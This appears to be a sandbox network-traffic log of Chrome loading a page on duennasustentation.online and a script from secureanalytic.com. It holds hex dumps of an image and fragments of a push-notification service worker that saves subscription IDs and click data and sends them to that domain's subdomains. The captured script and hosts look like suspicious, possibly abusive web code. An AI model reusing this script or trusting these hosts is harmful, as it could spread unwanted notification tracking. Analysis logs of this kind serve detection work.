2025-01-08 14:44:45 UTC	1369	IN	Data Raw: b9 cc 69 ad c4 08 6d 67 77 c4 00 4f fd 5a c3 7b 03 1d 51 76 bb eb 63 c7 c7 ff 00 3b 4c 86 96 cd 2d 40 7a 0f a8 d8 81 dd 45 96 fa 7a 34 86 b5 fd 83 8e a5 a3 fb 1f 49 7a 8b 2a da c2 ef 11 a2 f3 3f a8 37 bc f5 3c 8a de ef 6b 1e c7 36 bf 0f 6b 9b b9 7a 15 99 c5 b5 98 3a 29 22 40 26 d6 c8 13 40 30 b9 ad 61 95 3c 76 56 ed 48 1a 78 f0 b2 33 7a be d3 a9 91 e4 8d d2 b2 5f 73 9d 6e 49 2c 60 1f a3 07 89 46 c5 e8 bf db 3c 36 5d 6b 00 ae a7 bb cb 8f 25 ca 67 fb f2 b7 9f a2 4c ff 00 b1 74 f9 96 31 d5 08 70 01 c3 89 8d 57 33 d4 c3 03 4b 49 1b bb 10 9b 91 38 46 f7 bb 2c 3c 7a 9c 5c 1a 04 13 c1 e1 58 38 0d 22 09 78 1d 9a 1c 63 f1 59 f8 39 62 a7 3a b7 99 00 88 7f f0 5b 15 e5 35 ed f1 4d 15 5a af 90 20 d8 72 3a 96 37 a7 8e 59 53 76 8e 7c 64 af 35 cb a0 53 9d 93 8e 44 41 2f Data Ascii: imgwOZ{Qvc;L-@zEz4Iz*?7<k6kz:)"@&@0a<vVHx3z_snI,`F<6]k%gLt1pW3KI8F,<z\X8"xcY9b:[5MZ r:7YSv\|d5SDA/
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: e7 bb cf e9 04 95 62 5c 5c df 76 a2 75 f3 27 6a 49 27 47 ff d6 ed 5b 84 d4 56 e2 30 22 6f 09 7a a1 34 d2 28 ae da 18 3b 29 6c 68 ec 84 ec 80 3b a1 3f 2c 0e e9 71 05 70 94 b9 55 b5 f5 3e b1 cb d8 76 fc 47 b9 ab 83 fa e9 53 6d ea d8 b6 4c 0c ba 0b 41 fe 50 1e df fa 4b b0 b7 32 00 73 7e 93 4c 85 c8 fd 71 6c b3 1b 28 36 69 a6 d2 e1 de 1a ef 73 9b ff 00 6e 26 4c 82 19 70 c4 f1 3c f1 63 5c e8 1a 36 b6 02 07 7d 3d df f5 4a 3d 5f 1a 28 b2 38 2d dd f2 23 77 f1 45 70 9b 6c 70 d1 a4 40 1e 67 54 6c b6 6f a6 b6 bb 83 4b 87 dc a3 05 9c 87 63 fc 5f bf 77 4b 35 1e 58 f3 a7 93 a1 cb ab b3 d7 ae b3 e9 3b 41 f9 a7 85 c8 7d 49 c7 c8 c2 71 af 20 6d 7d c0 58 19 dc 0f a2 bb 87 35 a5 93 c4 a0 77 24 26 ea 81 70 ec ea 17 56 61 cd 3f 2d 55 4b ba 99 32 04 b8 91 1a 85 af 91 8e 1c 09 Data Ascii: b\\vu'jI'G[V0"oz4(;)lh;?,qpU>vGSmLAPK2s~Lql(6isn&Lp<c\6}=J=_(8-#wEplp@gTloKc_wK5X;A}Iq m}X5w$&pVa?-UK2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49813	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:44 UTC	423	OUT	GET /images/logo2.png HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:45 UTC	1047	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:45 GMT Content-Type: image/png Content-Length: 56100 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2949-db24" expires: Wed, 08 Jan 2025 14:44:44 GMT last-modified: Tue, 07 Jan 2025 13:16:57 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2eIRlPsop88EIwhbwS4ZyA0Y3U8ergaSU7D7mdH%2F6JP5P3SQq28qahAFDYx48Ju9%2BJJbzBhagrxnE%2F5WUQS5Liue7mDrw4iABbcy2uwcHxFRqdFj85Bxw2J6Q43nrILoMKbHLgVURrnXjvQf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7a54a5c2365-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1804&min_rtt=1801&rtt_var=683&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=1001&delivery_rate=1594756&cwnd=154&unsent_bytes=0&cid=c3a3df18cad9c91f&ts=891&x=0"
2025-01-08 14:44:46 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 c1 00 00 01 49 08 06 00 00 00 7a ba f0 5c 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 07 e2 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 31 34 36 32 38 39 39 2c 20 32 30 32 33 2f 30 36 2f 32 35 2d 32 30 3a 30 31 3a 35 35 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 Data Ascii: PNGIHDRIz\pHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:R
2025-01-08 14:44:46 UTC	1369	IN	Data Raw: 4d 4d 3a 48 69 73 74 6f 72 79 3e 20 3c 72 64 66 3a 53 65 71 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 63 72 65 61 74 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 39 38 31 62 38 33 62 66 2d 63 66 30 62 2d 30 63 34 64 2d 62 66 33 66 2d 61 64 63 66 33 37 34 65 62 63 36 36 22 20 73 74 45 76 74 3a 77 68 65 6e 3d 22 32 30 32 31 2d 30 39 2d 31 35 54 32 32 3a 35 31 3a 30 39 2b 30 38 3a 30 30 22 20 73 74 45 76 74 3a 73 6f 66 74 77 61 72 65 41 67 65 6e 74 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 22 2f 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 73 61 76 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 Data Ascii: MM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:981b83bf-cf0b-0c4d-bf3f-adcf374ebc66" stEvt:when="2021-09-15T22:51:09+08:00" stEvt:softwareAgent="Adobe Photoshop 21.1 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceI
2025-01-08 14:44:46 UTC	1369	IN	Data Raw: 4e c3 50 e2 58 67 40 23 d0 e9 e0 1d d2 0a ff d4 eb eb b5 3b 69 d1 95 68 ea c7 44 4f cc 44 ba 81 a4 13 47 c5 54 77 fa 2e 3f ef 54 53 d0 25 e0 7b f9 78 95 87 60 88 fb 99 57 fa 06 de 71 1c c7 d9 f5 d4 27 04 af af f2 3b 69 39 90 4f 1c 80 d3 70 21 d8 71 52 a1 b2 05 d1 f2 30 69 81 05 e0 1d 75 30 fe 4d 2f 20 cd 3a d7 ef 10 cd bb e0 df 32 12 d2 2e 26 1a 39 12 e9 02 64 53 71 b4 45 f9 b9 d4 37 c8 36 c4 ef 84 f2 73 ca 05 d2 33 ab db 32 6a a0 33 70 1c c7 71 76 40 f5 09 c1 25 55 7e 27 c8 88 03 b0 0f a4 19 f7 e7 c6 71 52 a1 b2 d0 29 80 b5 e8 7c 30 03 fa 11 dc 3a 1c 32 9b 6e d1 61 a4 49 7b 82 3b 5e 87 8c 73 b0 9f 7c 88 74 02 32 cc a6 41 b8 fc 5c ea fb b3 dd 40 ab c0 a8 8d 7f f7 04 69 d5 6d 59 86 fb ad e4 38 8e e3 24 d5 27 04 57 fd 67 4c 75 c3 9f 98 cd 87 bc 3a 8e 53 7f Data Ascii: NPXg@#;ihDODGTw.?TS%{x`Wq';i9Op!qR0iu0M/ :2.&9dSqE76s32j3pqv@%U~'qR)\|0:2naI{;^s\|t2A\@imY8$'WgLu:S
2025-01-08 14:44:46 UTC	1369	IN	Data Raw: 40 1a 50 aa e8 14 c5 1c 3d 90 e0 e6 d7 20 bd 49 85 4d bd 63 af 05 3f 8d f0 ae 6b d0 b9 21 d2 29 d9 ea c1 a6 b0 0e 41 89 57 a4 05 74 b5 85 e2 e4 7f 2b 10 58 a4 71 f2 e2 3a b7 fa eb 38 8e e3 ec 64 5c 08 76 9c ad 45 81 74 a0 44 b1 93 14 ff c8 3e f8 b7 0e 85 20 bf ca 9b 78 47 5e 8e 78 42 d9 1d 57 c0 6c 8b 74 4e d6 e3 a6 6a 40 85 00 be a2 0b 14 82 6c fc f3 7e 85 b4 ed 8c 2e 9d 45 f4 c1 1b e8 fc 79 48 3b c0 77 41 d8 71 1c c7 d9 b9 b8 10 ec 38 5b c3 c6 01 f8 1b c5 3b be 2f fe 9d 6f 57 1b 80 cb 99 c3 2f 23 b8 4b 49 dc ba 51 10 2e 23 35 a5 10 01 b0 44 c1 34 21 b8 e9 09 4c ef 0b 36 1c f7 e0 5f 10 3e 79 19 76 dc 78 64 0f e2 15 e1 10 77 41 9c e3 38 8e b3 53 48 71 b5 9f a6 ae 46 d1 71 76 16 1b 95 40 d8 ef 14 ef a8 7e 04 83 de 84 a0 71 ad 77 e1 1d 76 39 69 f7 3c 89 16 Data Ascii: @P= IMc?k!)AWt+Xq:8d\vEtD> xG^xBWltNj@l~.EyH;wAq8[;/oW/#KIQ.#5D4!L6_>yvxdwA8SHqFqv@~qwv9i<
2025-01-08 14:44:46 UTC	1369	IN	Data Raw: a7 2f 3a 4d c1 6e 61 e9 8c e0 7a 55 3b 8e e3 38 0d c6 85 e0 5d 89 12 87 92 12 c5 ce 06 ff cc 73 f0 af a9 61 05 78 33 92 d9 02 ff d6 37 f0 fa f5 c6 4e b4 1b 56 84 77 15 e5 01 b8 2c 19 80 8f ec 47 70 d7 1b 10 34 de d6 67 56 81 e9 ff 5b fc bb fe 1e 8f 58 5e 90 2c 8d a8 29 54 fa 82 24 40 57 55 df 2f b8 2a 92 db 96 e0 e6 97 91 03 0f 8a 3f 31 28 1f a8 51 db 37 4a 4a fc 5b c9 27 2e bb 09 93 a5 37 ee 37 95 e3 38 8e 93 62 ee 4f cb ae 24 00 2d b3 d8 69 8a 7f ca e9 55 d6 00 d7 28 ab 05 c1 5d 43 f0 fa f5 8d 57 84 cb 83 cb ae 20 00 2d 2f 81 38 e2 10 82 bb 86 40 fa d6 bf 08 ae b6 4c ff 4b 09 ee 7e 1a 4a 88 bb 46 d4 d4 cf 37 54 d4 03 69 d2 ba fe 07 6d d4 91 60 d0 2b 98 fd 0e 42 27 25 27 0f d6 b6 8f 70 1a 50 66 d1 39 16 5d a2 e8 22 8d 57 b2 c3 7a b4 7e 73 1c c7 71 9c 6a Data Ascii: /:MnazU;8]sax37NVw,Gp4gV[X^,)T$@WU/*?1(Q7JJ['.778bO$-iU(]CW -/8@LK~JF7Tim`+B'%'pPf9]"Wz~sqj
2025-01-08 14:44:46 UTC	1369	IN	Data Raw: 10 81 b4 35 50 b0 92 c4 dd e7 62 7f 7c af f2 1b 47 a5 f1 3f ad e3 15 6a 79 1d 09 7e 7d 27 92 d7 04 5d 63 37 bc 76 0c 88 0f 2c 9c 8f 4e 1a 51 fd 3e c4 c7 bb e8 41 82 73 af 46 97 00 05 16 82 9d f1 45 e8 38 8e e3 34 24 6f d0 a0 41 75 bd cd 65 40 a5 7d a1 74 e1 44 ec d8 21 71 30 f2 dd 1f a5 ad 2e 19 80 75 2e f8 e7 9c 1f 8f 42 96 8a f5 95 92 df 06 af e7 61 d8 1f 3e 44 67 ac 44 1a cb 86 9a de cd 9f 36 43 dc 11 e1 bc 3f 60 7a 9e 0a 62 30 7b 1f 8e 34 cf 27 fa e4 13 b4 38 11 df be 7c d5 78 47 a6 6c 98 ac 56 60 d1 75 0a c5 f1 c0 06 49 07 32 0c 14 97 a0 5f 7e 0c d9 19 48 56 06 ac 5d 84 1d 3b 8c e8 99 1b 88 5e 7b 0c 9d 36 11 9d 37 03 3b fa 4d 58 3d 07 d3 73 20 04 a9 ad b1 4d 25 e9 d2 0b d3 a1 31 3a f2 63 74 5d 22 5e dd 0f 41 1a 09 ba aa 18 3b fa 0d cc 5e fb c7 dd 22 Data Ascii: 5Pb\|G?jy~}']c7v,NQ>AsFE84$oAue@}tD!q0.u.Ba>DgD6C?`zb0{4'8\|xGlV`uI2_~HV];^{67;MX=s M%1:ct]"^A;^"
2025-01-08 14:44:46 UTC	1369	IN	Data Raw: b9 34 e9 1c df a6 2e e7 1c 82 e4 1a e8 06 d1 ab c3 08 1f fa 05 71 51 ed f6 cb 1c 76 39 c1 1d 4f 41 11 71 fb b4 5a 54 d6 fc 44 81 32 20 30 48 57 83 b4 00 9d 31 91 68 c4 0b 44 43 9e 45 97 2c 40 3a 99 38 00 6f 3e b6 19 e2 20 9d 2b 68 14 61 bf 1f 5d b7 13 4f cb 43 5a 76 af 79 3b c7 71 1c c7 c1 85 e0 1d 53 79 00 9e a2 78 27 9c 4a 70 fd b3 10 e4 6d f9 7e 5b f7 24 78 74 04 a6 73 47 f4 7b 0b a2 1b ae ad 8b 00 df a2 6b ab ee 93 6b 8e ba 9a e0 f6 c7 d1 f5 a0 4b 6c c5 f6 69 06 48 53 58 67 d1 59 16 8a 2c a4 eb b6 69 b1 66 88 a7 94 4d 56 bc c3 fb 11 0c 7a 0d b2 5a 57 73 83 08 e6 8c 8b 57 2e 4d 1d 4f b8 0c 24 cf 20 7b 41 f4 da 10 c2 07 2e 04 5b b8 05 27 df f0 cc 61 97 11 fc e9 51 28 05 5d 9e 0c c2 75 09 ff 96 38 0c 67 19 a4 83 41 da 09 d2 5e 90 36 c9 5f 39 09 aa 7e 93 Data Ascii: 4.qQv9OAqZTD2 0HW1hDCE,@:8o> +ha]OCZvy;qSyx'Jpm~[$xtsG{kkKliHSXgY,ifMVzZWsW.MO$ {A.['aQ(]u8gA^6_9~
2025-01-08 14:44:46 UTC	1369	IN	Data Raw: a6 0f 3a 8e e3 38 3b 0c b7 12 bc bd f2 81 b5 f1 c7 f7 c1 59 e7 e3 5f f7 1c a4 c5 6d d0 a4 71 3b 74 d9 38 ec 37 3f 22 d9 20 cd 0c 92 17 af 2a ea 84 69 b0 62 1a e6 a0 a3 c1 4f dd 98 5e c9 69 81 b7 ff 00 f4 c7 f7 d1 85 ab 21 51 8c 96 15 21 f9 20 b9 20 59 a0 c5 21 fa cd d7 44 5f be 02 eb 96 41 d1 12 a2 0f fe 8d 8e 7d 1d 69 22 90 6e 60 8d c2 ba 22 bc 01 27 42 c6 a6 61 4f 5a ef 89 e9 d2 85 68 fc 48 58 5e 84 34 06 a8 e7 ca 6b 79 ab ad 52 45 a7 82 19 78 28 c1 2d af 23 99 15 c7 f8 d6 ea fe 77 e8 81 e4 07 d8 91 1f 83 d5 78 54 70 54 af 5d 55 64 92 93 e5 be 9f 0e cb a6 c6 13 cf 52 f8 dc a5 9a 74 3e 08 e9 d4 0c fb d1 fb b0 b6 01 c6 65 0b 50 a6 50 06 de a1 a7 22 9d 7a a7 68 c7 6e 25 d8 71 1c c7 d9 c0 d5 04 6f 8f 7c e2 fa df 79 e0 9f 79 2e de d5 2f 6c 3a 09 ae 68 39 76 Data Ascii: :8;Y_mq;t87?" *ibO^i!Q! Y!D_A}i"n`"'BaOZhHX^4kyREx(-#wxTpT]UdRt>ePP"zhn%qo\|yy./l:h9v
2025-01-08 14:44:46 UTC	1369	IN	Data Raw: 5d 48 db 9e 04 7f 7e 13 69 dd 1a 5d 50 49 b9 40 f9 8a 70 b6 20 7b 41 34 e2 75 12 0f 9e 0b 51 8a 4b 23 5a ee 8d ff f0 9b 98 dd 76 8b 57 a6 a1 f2 57 96 80 16 c5 1d 1f a4 63 f7 2a 77 a7 b6 8c c4 5f 2f 20 1a f2 12 d2 15 48 97 b8 ce b8 32 06 08 2d 3a 53 31 87 f6 27 f8 d3 4b 90 dd 6a 0b ef 50 dd 78 67 0d 22 b8 e6 76 58 95 ec 1a 91 aa ba d8 32 20 cf 20 dd e3 1a e1 f0 fe 0b a1 74 75 8a 76 de 30 cc 11 97 13 5c fb 57 28 00 5d 5d 8f 15 61 05 d6 83 74 d8 0b e9 7e 42 9d 6e 1a bd 7e 07 d1 e0 07 ea 78 40 c7 71 1c 67 57 e5 42 f0 b6 f0 53 0d b0 8d 4b 20 4e 3b 13 ff 9a 7f 42 90 57 e7 5d 49 9b fd 09 06 0d 45 da 76 8c 6b 53 2b 0b 60 65 40 a6 41 ba 80 7d 77 18 e1 63 bf 4c f9 38 5a 69 d6 9d e0 de d7 91 ae 5d b0 73 6c 7c 1f 37 7f 75 79 40 11 48 5e 2b a4 7d 8f ca 77 14 95 61 9f Data Ascii: ]H~i]PI@p {A4uQK#ZvWWc*w_/ H2-:S1'KjPxg"vX2 tuv0\W(]]at~Bn~x@qgWBSK N;BW]IEvkS+`e@A}wcL8Zi]sl\|7uy@H^+}wa
2025-01-08 14:44:46 UTC	1369	IN	Data Raw: 53 53 7e 68 69 db 93 e0 fe 61 48 a7 8e d8 ef 93 93 e5 36 0f c2 11 90 21 48 57 21 7c e3 0d 12 0f 37 40 2f da 96 7b e3 df fe 26 a6 fb 1e d8 e5 60 3f f8 88 f0 89 9f a3 8b bf 22 fc cf 75 84 83 5f 43 ba 24 fb 00 d7 54 ce a9 80 11 68 02 d1 bf 6e 84 a5 33 52 7b ae 0d c0 3b ed 66 82 ab ef 81 a5 c9 81 1a 19 29 da b1 02 9e 20 ed 20 7a fb 4d c2 47 2e 82 b2 35 29 da 79 c3 30 03 2e 25 b8 fb 69 a4 04 74 d6 46 2b c2 46 20 0b ec 57 df a2 b3 46 57 bb 0f fb d9 53 24 1e bc 0a b2 41 9a 56 73 e1 a4 e3 38 8e e3 d4 c0 1b 34 68 50 5d 6f 73 19 50 e9 65 f8 ba e0 7b ec d8 a1 f1 c7 ef fe 2e fe d9 64 79 1f e0 f5 16 16 81 ec be 0f a6 67 6f 74 c9 2c 98 33 16 d9 6d 77 58 fc 23 d1 ab 0f 10 3d 71 3f ba e2 47 4c af 23 41 52 f5 b9 39 48 6e 2b bc 83 07 a0 5f be 8b 4e 5d 8b b4 20 0e 1c 9b 07 Data Ascii: SS~hiaH6!HW!\|7@/{&`?"u_C$Thn3R{;f) zMG.5)y0.%itF+F WFWS$AVs84hP]osPe{.dygot,3mwX#=q?GL#AR9Hn+_N]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49814	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:45 UTC	481	OUT	GET /scripts/sw/script/64d5p99gj0?url=duennasustentation.online HTTP/1.1 Host: secureanalytic.com Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://duennasustentation.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:44:45 UTC	1342	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:45 GMT Content-Type: application/javascript;charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: 0 Cache-Control: max-age=14400, must-revalidate x-xss-protection: 1; mode=block pragma: no-cache x-frame-options: SAMEORIGIN referrer-policy: strict-origin-when-cross-origin content-security-policy: default-src 'self'; frame-src 'self' data:; connect-src 'self' https://cdn-media-2020.s3.amazonaws.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' 'unsafe-inline'; img-src * 'self' https://* blob: data:; font-src 'self' data: vary: Origin vary: Access-Control-Request-Method vary: Access-Control-Request-Headers x-content-type-options: nosniff permissions-policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() CF-Cache-Status: HIT Age: 2726 Last-Modified: Wed, 08 Jan 2025 13:59:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1O1rDvd2IKiAqppGn1liVCYc2%2B0iI1WbfEVpzCtkPuxVjqi9TboPGE0beondWfZ06E04Xs37tknUsONn2dmTuqswKarYfEvQj0OAvVndXA8N%2BAtIQV1BSfNmXyzVrwaW8ZJbSO4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2025-01-08 14:44:45 UTC	276	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 66 65 63 66 37 61 37 61 38 66 33 34 32 30 35 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 36 34 33 26 6d 69 6e 5f 72 74 74 3d 31 36 33 36 26 72 74 74 5f 76 61 72 3d 36 32 38 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 34 33 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 35 39 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 37 32 30 36 38 33 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 36 36 33 39 31 39 65 36 32 39 37 Data Ascii: CF-RAY: 8fecf7a7a8f34205-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1643&min_rtt=1636&rtt_var=628&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1059&delivery_rate=1720683&cwnd=252&unsent_bytes=0&cid=663919e6297
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 32 64 62 35 0d 0a 27 75 73 65 20 73 74 72 69 63 74 27 3b 63 6f 6e 73 74 20 65 6e 76 3d 7b 6c 6f 67 3a 21 30 2c 72 65 74 72 79 3a 31 30 2c 73 6c 65 65 70 54 69 6d 65 3a 31 65 34 2c 64 6f 6d 61 69 6e 3a 22 70 75 73 68 2e 73 65 63 75 72 65 61 6e 61 6c 79 74 69 63 2e 63 6f 6d 22 2c 6e 6f 74 69 66 69 63 61 74 69 6f 6e 44 6f 6d 61 69 6e 3a 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2e 73 65 63 75 72 65 61 6e 61 6c 79 74 69 63 2e 63 6f 6d 22 2c 73 75 62 73 63 72 69 70 74 69 6f 6e 44 6f 6d 61 69 6e 3a 22 73 75 62 73 63 72 69 70 74 69 6f 6e 2e 73 65 63 75 72 65 61 6e 61 6c 79 74 69 63 2e 63 6f 6d 22 2c 65 76 65 6e 74 44 6f 6d 61 69 6e 3a 22 65 76 65 6e 74 2e 73 65 63 75 72 65 61 6e 61 6c 79 74 69 63 2e 63 6f 6d 22 7d 2c 61 70 70 6c 69 63 61 74 69 6f 6e 53 65 72 76 65 Data Ascii: 2db5'use strict';const env={log:!0,retry:10,sleepTime:1e4,domain:"push.secureanalytic.com",notificationDomain:"notification.secureanalytic.com",subscriptionDomain:"subscription.secureanalytic.com",eventDomain:"event.secureanalytic.com"},applicationServe
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 2e 67 65 74 28 22 70 75 73 68 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 22 29 2e 6f 6e 73 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 29 74 72 79 7b 62 3d 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 61 29 7b 7d 7d 2c 65 2e 67 65 74 28 22 73 65 67 22 29 2e 6f 6e 73 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 29 74 72 79 7b 63 3d 61 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 61 29 7b 7d 7d 2c 65 2e 67 65 74 28 22 73 65 73 73 69 6f 6e 49 64 73 22 29 2e 6f 6e 73 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 2e 74 61 72 67 65 74 Data Ascii: .get("pushSubscriptionId").onsuccess=function(a){if(a.target.result)try{b=a.target.result.value}catch(a){}},e.get("seg").onsuccess=function(a){if(a.target.result)try{c=a.target.result.value}catch(a){}},e.get("sessionIds").onsuccess=function(a){if(a.target
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 73 65 74 43 6c 69 63 6b 44 61 74 61 49 6e 53 74 6f 72 65 28 61 2c 62 29 7b 76 61 72 20 63 3d 67 65 74 48 6f 75 72 42 79 54 69 6d 65 5a 6f 6e 65 28 29 2c 64 3d 7b 6e 61 6d 65 3a 22 70 75 73 68 41 70 69 49 64 73 22 7d 3b 62 5b 30 5d 2e 63 6c 69 63 6b 55 6e 69 78 44 61 74 65 3d 63 2e 75 6e 69 78 2c 64 2e 76 61 6c 75 65 3d 62 3b 74 72 79 7b 61 2e 67 65 74 28 22 70 75 73 68 41 70 69 49 64 73 22 29 2e 6f 6e 73 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 3d 3d 6e 75 6c 6c 3f 61 2e 70 75 74 28 64 29 3a 28 62 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 2e 76 61 6c 75 65 3d 3d 6e 75 6c 6c 26 26 28 62 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 2e 76 61 6c 75 65 3d 5b 5d 29 2c 62 2e 74 61 72 67 65 Data Ascii: tion setClickDataInStore(a,b){var c=getHourByTimeZone(),d={name:"pushApiIds"};b[0].clickUnixDate=c.unix,d.value=b;try{a.get("pushApiIds").onsuccess=function(b){b.target.result==null?a.put(d):(b.target.result.value==null&&(b.target.result.value=[]),b.targe
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 69 6f 6e 2f 6a 73 6f 6e 22 7d 2c 62 6f 64 79 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 62 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 2e 6f 6b 29 7b 6c 65 74 20 62 3d 61 2e 6a 73 6f 6e 28 29 3b 72 65 74 75 72 6e 20 62 7d 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 73 6d 50 75 73 68 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 3d 61 2e 69 64 2c 67 65 74 53 74 6f 72 65 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 3d 7b 6e 61 6d 65 3a 22 70 75 73 68 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 22 7d 3b 62 2e 76 61 6c 75 65 3d 73 6d 50 75 73 68 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 2c 73 6d 50 75 73 68 53 75 62 73 63 72 69 70 74 69 6f 6e 49 64 26 26 61 2e 70 75 74 28 62 29 7d 29 7d 29 2e 63 61 Data Ascii: ion/json"},body:JSON.stringify(b)}).then(function(a){if(a.ok){let b=a.json();return b}}).then(function(a){smPushSubscriptionId=a.id,getStore(function(a){const b={name:"pushSubscriptionId"};b.value=smPushSubscriptionId,smPushSubscriptionId&&a.put(b)})}).ca
